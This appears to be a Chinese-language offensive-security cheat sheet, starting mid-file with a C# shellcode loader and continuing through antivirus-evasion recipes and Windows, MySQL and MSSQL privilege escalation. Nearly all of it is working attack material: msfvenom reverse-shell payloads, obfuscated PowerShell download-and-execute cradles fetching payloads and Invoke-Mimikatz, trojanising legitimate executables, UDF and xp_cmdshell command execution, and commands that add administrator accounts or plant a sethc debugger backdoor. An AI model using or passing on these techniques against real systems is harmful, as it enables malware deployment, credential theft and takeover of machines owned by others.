			byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
			byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
			// 加载shellcode
			IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
			Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
			CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
			Thread.Sleep(2000);
		}
		public static byte[] Decrypt(byte[] key, byte[] data)
		{
			return EncryptOutput(key, data).ToArray();
		}
		private static byte[] EncryptInitalize(byte[] key)
		{
			byte[] s = Enumerable.Range(0, 256)
			.Select(i => (byte)i)
			.ToArray();
			for (int i = 0, j = 0; i < 256; i++)
			{
				j = (j + key[i % key.Length] + s[i]) & 255;
				Swap(s, i, j);
			}
			return s;
		}
		private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
		{
			byte[] s = EncryptInitalize(key);
			int i = 0;
			int j = 0;
			return data.Select((b) =>
			{
				i = (i + 1) & 255;
				j = (j + s[i]) & 255;
				Swap(s, i, j);
				return (byte)(b ^ s[(s[i] + s[j]) & 255]);
				});
		}
		private static void Swap(byte[] s, int i, int j)
		{
			byte c = s[i];
			s[i] = s[j];
			s[j] = c;
		}
		[DllImport("kernel32.dll")]
		public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
		[DllImport("kernel32.dll")]
		public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
	}
}

XOR/AES编码

与上文xor加密类似

CSC+InstallUtil

生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
Payload粘贴到InstallUtil-Shellcode.cs中使用csc编译

image

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\Users\y\Desktop\shell.exe C:\Users\y\Desktop\InstallUtil-ShellCode.cs

image

执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\shell.exe

Python源码免杀

pyinstaller加载C代码编译

生成C格式payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f c -o /var/www/html/1.c
粘贴shellcode到shellcode+c.py中,在32位系统上安装python、py2exe、pyinstaller进入C:\Python27\Scripts目录使用命令把py打包为exe
>python pyinstaller-script.py -F -w shellcode.py
会在目录下生成dist文件夹,exe文件就在里面

pyinstaller加载py代码编译(*)

生成py格式payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp LPORT=12138 LHOST=192.168.0.108 -e x86/shikata_ga_nai -i 11 -f py -o /var/www/html/1.py
粘贴shellcode到shellcode+py.py中,在32位系统上安装python、py2exe、pyinstaller进入C:\Python27\Scripts目录使用命令把py打包为exe
>python pyinstaller-script.py --console --onefile shellcode.py
会在目录下生成dist文件夹,exe文件就在里面

image image image

Py2exe打包exe

生成raw格式payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/shell.py
在32位系统上安装python、py2exe
创建setup.py放置同一目录

image

from distutils.core import setup
import py2exe
setup(
name = "Meter",
description = "Python-based App",
version = "1.0",
console = ["shell.py"],
options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",}},
zipfile = None
)
执行打包命令
>python setup.py py2exe
会在当前目录生成dist文件夹,打包好的exe在里面

image

Base64编码+Pyinstaller打包

MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.0.108 LPORT=12138 -f c -o /var/www/html/1.c
Shellcode粘贴在shellcode+base64+c.py中
>python pyinstaller-script.py -F -w shellcode.py
会在目录下生成dist文件夹,exe文件就在里面

加载器分离

hex
生成c格式payload
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.108 lport=12138 -f c -o /var/www/html/shell.c
下载k8final

image

粘贴shellcode进去

image

使用
https://github.com/k8gege/scrun

image

或
>python scrun.py xxx
或
编译ScRunHex.py为exe
Base64(*)
生成c格式payload
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.108 lport=12138 -f c -o /var/www/html/shell.c
下载k8final

image

粘贴shellcode进去

image

进行hex编码后,粘贴进去base64编码

image

看系统位数编译ScRunBase.py文件,使用pyinstaller打包为exe后执行
https://gitee.com/RichChigga/scrun/blob/master/ScRunBase64.py
>python pyinstaller-script.py -F -w ScRunBase64.py

image image

DLL劫持

白dll劫持
Processmonitor查找程序加载的dll
使用stud_pe加载dll进去
或
生成payload免杀好粘贴进去,查看目标上有什么软件,本地查找可劫持的dll,劫持好文件后传上去。

image

MSBuild

链接
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=12138 -f csharp
远程执行
>wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
要设置自动迁移进程

image

GreatSCT

>use Bypass
>list
>use regasm/meterpreter/rev_tcp.py
>msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

Mshta

https://github.com/mdsecactivebreach/CACTUSTORCH/blob/master/CACTUSTORCH.hta
生成
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.bin
>cat 1.bin |base64 -w 0

image

编码后的内容复制到

image

执行
>mshta http://192.168.0.106:1222/1.hta
360执行检测出来,静态动态无法检测、火绒无法检测

InstallUtil

内网文章中有介绍

Veil

>use 1选择evasion模块
>list查看可用payload
>use 7 选择c格式的payload
>set LHOST/LPORT设置回连IP和端口
>generate生成

image

直接生成的exe可能会被查杀,目前可过360,不能过火绒
使用minGW-w64编译C文件
>gcc -o vel.exe veil.c -l ws2_32

RC4

>msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 lhost=192.168.0.108 lport=3333 RC4PASSWORD=123qwe!@# -f c

捆绑

>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -e x86/shikata_ga_nai -x PsExec64.exe  -i 15 -f exe -o /var/www/html/payload4.exe

Evasion模块

>show evasion

Phantom-Evasion

image image

Shellter

仅支持32位程序
>apt install shellter
指定一个exe文件

image

选择payload

the-backdoor-factory

查看是否支持捆绑
>python backdoor.py -f /root/Desktop/putty.exe -S
查看此文件支持哪些payload
>python backdoor.py -f /root/Desktop/putty.exe -s show
reverse_shell_tcp_inline对应msf
set payload windows/meterpreter/reverse_tcp
meterpreter_reverse_https_threaded应msf
set payload windows/meterpreter/reverse_https
iat_reverse_tcp_stager_threaded修复IAT
user_supplied_shellcode_threaded自定义payload
参数
-s 指定payload
-H 回连地址
-P 回连端口
-J 多代码裂缝注入
>python backdoor.py -f ~/putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.0.108 -P 12138 -J -o payload.exe
后门生成在backdoored目录
或
生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -e x86/shikata_ga_nai -i 5 -f raw -o shellcode.c
自定义
>python backdoor.py -f /root/putty.exe -s user_supplied_shellcode_threaded -U /root/shellcode.c  -o payload2.exe

zirikatu

image

hanzoInjection

https://github.com/P0cL4bs/hanzoInjection
生成
>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=12138 -f raw -o /var/www/html/1.bin
>HanzoInjection.exe -p 1.bin -o 1.cs
编译1.cs
属性-生成-允许不安全代码

PowerShell免杀

直接生成

>msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.0.108 lport=12138 -f psh -o /var/www/html/1.ps1
执行
>powershell -ep bypass -noexit -file 1.ps1
Powershell行为检测bypass
>powershell -noexit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.0.108/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

Invoke-Shellcode加载

生成code
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f powershell -o /var/www/html/1.ps1
目标执行
> powershell -ep bypass
> IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.108/ps/powersploit/CodeExecution/Invoke-Shellcode.ps1')
> IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.108/1.ps1')
> Invoke-Shellcode -Shellcode ($buf) -Force

image image

防护软件没反应

Invoke-Obfuscation

https://github.com/danielbohannon/Invoke-Obfuscation
生成code
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f psh -o /var/www/html/1.ps1
>powershell -ep bypass
>Import-Module .\Invoke-Obfuscation.psd1
>Invoke-Obfuscation
>set scriptpath C:\Users\y\Desktop\1.ps1
>encoding
>3 指定编码方式
>out C:\Users\y\Desktop\ok.ps1 保存

image image

执行
>powershell -ep bypass -noexit -file ok.ps1

image image image

Xencrypt

https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1
>Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100 递归分层躲避动态查杀

image

>Invoke-Xencrypt -infile .\Invoke-Mimikatz.ps1 -outfile mimi.ps1

image image

PyFuscation

https://github.com/CBHue/PyFuscation
对函数,参数,变量进行混淆
>python3 PyFuscation.py -fvp --ps Invoke-Mimikatz.ps1

image image

拆分+C编译

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
return 0;
}

行为检测

>powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

Out-EncryptedScript

http://192.168.0.108/ps/powersploit/ScriptModification/Out-EncryptedScript.ps1
>Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password shabiisme -Salt 123456

image image

PS > IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.108/ps/powersploit/ScriptModification/Out-EncryptedScript.ps1")
PS > [String] $cmd = Get-Content .\evil.ps1
PS > Invoke-Expression $cmd
PS > $decrypted = de shabiisme 123456
PS > Invoke-Expression $decrypted
PS > Invoke-Mimikatz

cobalt strike powershell免杀

From: https://y4er.com/post/cobalt-strike-powershell-bypass/
powershell>$string = ''
powershell>$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('[cs生成的shellcode]')
powershell>$s |foreach { $string = $string + $_.ToString()+','}
powershell>$string>c:\1.txt
修改ps脚本
[Byte[]]$var_code = [Byte[]](payload)
再混淆一下函数和变量
绕过执行命令的拦截
使用cs的参数欺骗
beacon > argue cmd.exe blablabla

分块免杀

生成
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.0.108 LPORT=443 -f psh-net -o shity_shellcode.ps1

image

先来测试一下,把ps1文件的shellcode换成一段无害的字符串

image image

结果发现还是被查杀了

image

这表明大多数检测来自PowerShell模板,而不是Shellcode本身。
下面几种bypass方法
1.将字符串分成几部分并创建中间变量;
2.添加大量垃圾备注;
3.添加一些垃圾指令,例如循环或睡眠指令(对于沙盒有用)。
[DllImport("kernel32.dll")]
变为
[DllImport("ke"+"rne"+"l32.dll")] #可绕过赛门铁克
$przdE.ReferencedAssemblies.AddRange(@("System.dll",[PsObject].Assembly.Location))
变为
$magic="Syst"+"em"+".dll";
$przdE.ReferencedAssemblies.AddRange(@($magic,[PsObject].Assembly.Location))
分割shellcode
$sc0=<shellcode的第1部分>; …$sc7=<shellcode的第8部分>; [Byte[]]$tcomplete_sc=[System.Convert]::FromBase64String($sc0+$sc1+…+$sc7)
一些细节可参照
https://raw.githubusercontent.com/kmkz/Pentesting/master/AV_Evasion/AV_Bypass.ps1
我不太懂汇编语言,所以没有添加无害指令。
这里直接使用一键生成的bash脚本,有时间的可以读读里面的命令
https://github.com/darksh3llRU/tools/blob/master/psh-net_shellcode_fastchange.sh
这个脚本是生成个hta的,脚本以1337个字符来分块

image

我测试的时候1337个字符会被赛门铁克查杀到,我这里修改成250个字符来分块

image

因为我没加汇编指令,中间这里直接按任意键跳过即可,懂的可以在开头添加一些指令,例如xor,inc,dec,add,sub,mov,nop等

image

执行完后会生成一些文件

image

我们只用final_pshnet_revhttps.ps1这个文件,打开修改一下

image

修改成

image image image

Ruby

目标机器装有ruby时
生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f ruby
粘贴到ruby中

image

执行
>ruby xx.ruby

Golang

生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f c
代码转换成0x格式,粘贴到go.txt中保存为go格式

image

安装golang环境在shellcode目录执行
>go build生成exe

加载器

go-shellcode

https://github.com/brimstone/go-shellcode
进入cmd/sc目录编译sc.exe
>go build

image

生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f hex -o shell.txt 
加载器加载shellcode
>sc.exe shellcode

image

Gsl

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
>gsl -s SHELLCODE -hex msf生成hex格式
>gsl -f shell.raw本地加载raw格式文件
>gsl -f shell.hex -hex 本地加载hex格式文件
>gsl -u http://192.168.0.108/1.raw 远程加载
>gsl -u http://192.168.0.108/1.hex

内网&域

Powershell

查看版本$PSVersionTable

远程执行

>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('');Invoke-xxx"

image

加载exe

msfvenom生成exe木马
#msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f exe > /var/www/html/1.exe  
使用powersploit的Invoke-ReflectivePEInjection.ps1脚本
#powershell.exe -w hidden -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/clymberps/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.0.107/1.exe -ForceASLR" 

EXE2PS1

http://192.168.0.107/ps/powersploit/CodeExecution/Convert-BinaryToString.ps1
将exe转换为base64
>Import-Module .\Convert-BinaryToString.ps1
>Convert-BinaryToString -FilePath .\ms15051.exe

image

http://192.168.0.107/ps/powersploit/CodeExecution/Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection.ps1文件头部添加
Function MS15051{
<#
.SYNOPSIS    
.EXAMPLE
C:\PS> MS15051 -Command "whoami"
#>
 [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False)]
        [string]
        $Command
  )
$InputString = "文件的base64编码"
$PEBytes = [System.Convert]::FromBase64String($InputString)
文件尾部添加
write-host ("[+] Executing Command: "+$Command)  -foregroundcolor "Green"
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs $Command 
write-host ("[+] Done !")  -foregroundcolor "Green"
}

image

远程下载执行
>powershell -nop -w hidden -ep bypass "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.107/ps/powersploit/CodeExecution/ms15051.ps1'); MS15051 –Command \"whoami\""

image

绕过策略

>powershell Set-ExecutionPolicy Unrestricted需管理员权限,不受限执行
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/Invoke-xxx.ps1');invoke-xxx"
>powershell -exec bypass -File ./a.ps1&>Import-Module xxx

Base64

>use exploit/multi/script/web_delivery|target=2(PSH)
&
>cat payload.txt | iconv --to-code UTF-16LE |base64
>powershell -ep bypass -enc base64code

写入bat绕过

powershell -exec bypass -File ./a.ps1 
将该命令保存为c.bat

拼接拆分字符串

powershell.exe  
"
$c1='powershell -c IEX'; 
$c2='(New-Object Net.WebClient).Downlo'; 
$c3='adString("http://192.168.197.192/a.ps1")'; 
echo ($c1,$c2,$c3) 
" 
先将命令拆分为字符串,然后进行拼接。echo修改为IEX执行。
powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)

Replace替换函数

powershell -noexit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.0.108/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)" 

HTTP字符拼接绕过

也可以对http字符进行绕过,同样可以bypass
powershell "$a='IEX((new-object net.webclient).downloadstring("ht';$b='tp://192.168.197.192/a.ps1"))';IEX ($a+$b)"  

图片免杀

通过图片免杀执行powershell的脚本Invoke-PSImage.ps1,主要把payload分散存到图片的像素中,最后到远端执行时,再重新遍历重组像素中的payload执行。
https://github.com/peewpw/Invoke-PSImage
1900*1200的图片x.jpg。
C:\>powershell 
PS C:\> Import-Module .\Invoke-PSImage.ps1 
PS C:\> Invoke-PSImage -Script .\a.ps1 -Image .\x.jpg -Out .\reverse_shell.png -Web 
a.ps1是msf木马,-Out 生成reverse_shell.png图片,-Web 输出从web读取的命令。
将reverse_shell.png移动至web目录,替换url地址。在powershell下执行即可。

加载shellcode

msfvenom生成脚本木马
#msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.72.164 LPORT=4444 -f powershell -o /var/www/html/test  
在windows靶机上运行一下命令
PS >IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") 
PS >IEX(New-Object Net.WebClient).DownloadString("http://192.168.72.164/test") 
Invoke-Shellcode -Shellcode $buf -Force  运行木马 
使用Invoke-Shellcode.ps1脚本执行shellcode
即可反弹meterpreter shell

加载dll

使用msfvenom 生成dll木马脚本
>msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.72.164 lport=4444 -f dll -o /var/www/html/test.dll 
将生成的dll上传到目标的C盘。在靶机上执行以下命令
PS >IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-DllInjection.ps1") 
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden  
创建新的进程启动记事本,并设置为隐藏
Invoke-DllInjection -ProcessID xxx -Dll c:\test.dll 使用notepad的PID  
Msf
#use exploit/multi/handler
#set payload windows/x64/meterpreter/reverse_tcp
#run

Windows安全标识符(SID)

相对标识符 说明
500 管理员
501 来宾
502 密钥分发中心服务的服务账户
512 域管理员
513 域用户
514 域来宾
515 域计算机
516 域控制器
544 内置管理员
519 企业管理员

提权

Impacket工具包

https://github.com/maaaaz/impacket-examples-windows
https://github.com/SecureAuthCorp/impacket
#git clone https://github.com/CoreSecurity/impacket.git 
#cd impacket/ 
#python setup.py install

Windows-exploit-suggester

#pip install xlrd --upgrade
#./windows-exploit-suggester.py --update
#./windows-exploit-suggester.py --database 20xx-xx-xx-mssb.xlsx --systeminfo systeminfo.txt

Wesng

https://github.com/bitsadmin/wesng
>systeminfo >1.txt
>python wes.py 1.txt

image

Searchsploit

使用方法
>searchsploit 软件 版本
查找常见补丁
https://bugs.hacking8.com/tiquan/
http://get-av.se7ensec.cn/index.php
https://patchchecker.com/checkprivs/
wmic查询补丁
wmic qfe list full|findstr /i hotfix
systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440  KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8) 
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008) 
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008) 
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP) 
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016) 
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1) 
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1) 
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012) 
MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012) 
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012) 
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7) 
MS15-097 [KB3089656] [remote code execution] (win8.1/2012) 
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012) 
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012) 
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012) 
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012) 
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8) 
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2) 
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8) 
MS14-070 [KB2989935] [Kernel Driver] (2003) 
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8) 
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8) 
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8) 
MS14-002 [KB2914368] [NDProxy] (2003/XP) 
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7) 
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7) 
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8) 
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7) 
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP) 
MS11-080 [KB2592799] [AFD.sys] (2003/XP) 
MS11-062 [KB2566454] [NDISTAPI] (2003/XP) 
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP) 
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista) 
MS10-092 [KB2305420] [Task Scheduler] (2008/7) 
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5) 
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista) 
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7) 
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP) 
MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2) 
MS09-050 [KB975517] [Remote Code Execution] (2008/Vista) 
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0) 
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista) 
MS08-068 [KB957097] [Remote Code Execution] (2000/XP) 
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008) 
MS08-066 [] [] (Windows 2000/XP/Server 2003) 
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista) 
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000) 
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)

激活guest

>net user guest /active:yes

MYSQL udf

Udf: sqlmap-master\udf\mysql\windows\
>python sqlmap/extra/cloak/cloak.py lib_mysqludf_sys.dll _ 
Mysql>5.1 udf.dll放置在lib\plugin 
Mysql<5.1 udf.dll放置在c:\windows\system32
#show variables like '%compile%'; 查看系统版本
#select @@plugin_dir 查看插件目录
放入udf
#select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll"; 
或将udf十六进制编码后写入
#select hex(load_file('udf_sys_64.dll')) into dumpfile '/tmp/udf.hex'; 
#select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";
或将udf base64编码后写入(MySQL 5.6.1和MariaDB 10.0.5)
#select to_base64(load_file('/usr/udf.dll')) into dumpfile '/tmp/udf.b64';
#select from_base64(“xxxxx”) into dumpfile "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";
或创建表拼接十六进制编码
#create table temp(data longblob); 
#insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d); 
#update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b3); 
#select data from temp into dump file "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";
或#insert into temp(data) values(hex(load_file('D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll')));
#SELECT unhex(cmd) FROM mysql.temp INTO DUMPFILE 'D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll ';
或使用快速导入数据
#load data infile '\\\\192.168.0.19\\network\\udf.hex'
#into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); 
#select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll';
创建函数
#create function cmdshell returns string soname 'udf.dll';
#create function sys_exec returns int soname 'udf.dll';
执行命令
#select cmdshell('whoami'); 
#select sys_exec(''whoami''); 
删除函数
#drop function cmdshell;
#drop function sys_exec;

MYSQL Linux Root

https://0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
$ mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
name ret dl type
do_system 2 raptor_udf2.so function
mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysql> \! sh
sh-2.05b$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

MSSQL

开启xp_cmdshell

xp_cmdshell

#exec sp_configure 'show advanced options', 1;reconfigure; 
#exec sp_configure 'xp_cmdshell',1;reconfigure;
#exec master.dbo.xp_cmdshell 'ipconfig'

xp_regwrite

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\taskmgr.exe'

xp_dirtree

execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 
execute master..xp_dirtree 'c:',1 //只列c:\文件夹 
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件 

sp_oacreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
执行命令
declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123 123 /add'
declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123/add'
删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
exec sp_oadestroy @fso_token
复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'
移动文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'movefile',null,'c:\1.txt','c:\2.txt'

沙盒执行

开启沙盒:
>exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
执行:
>select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

WarSQLKit(后门)

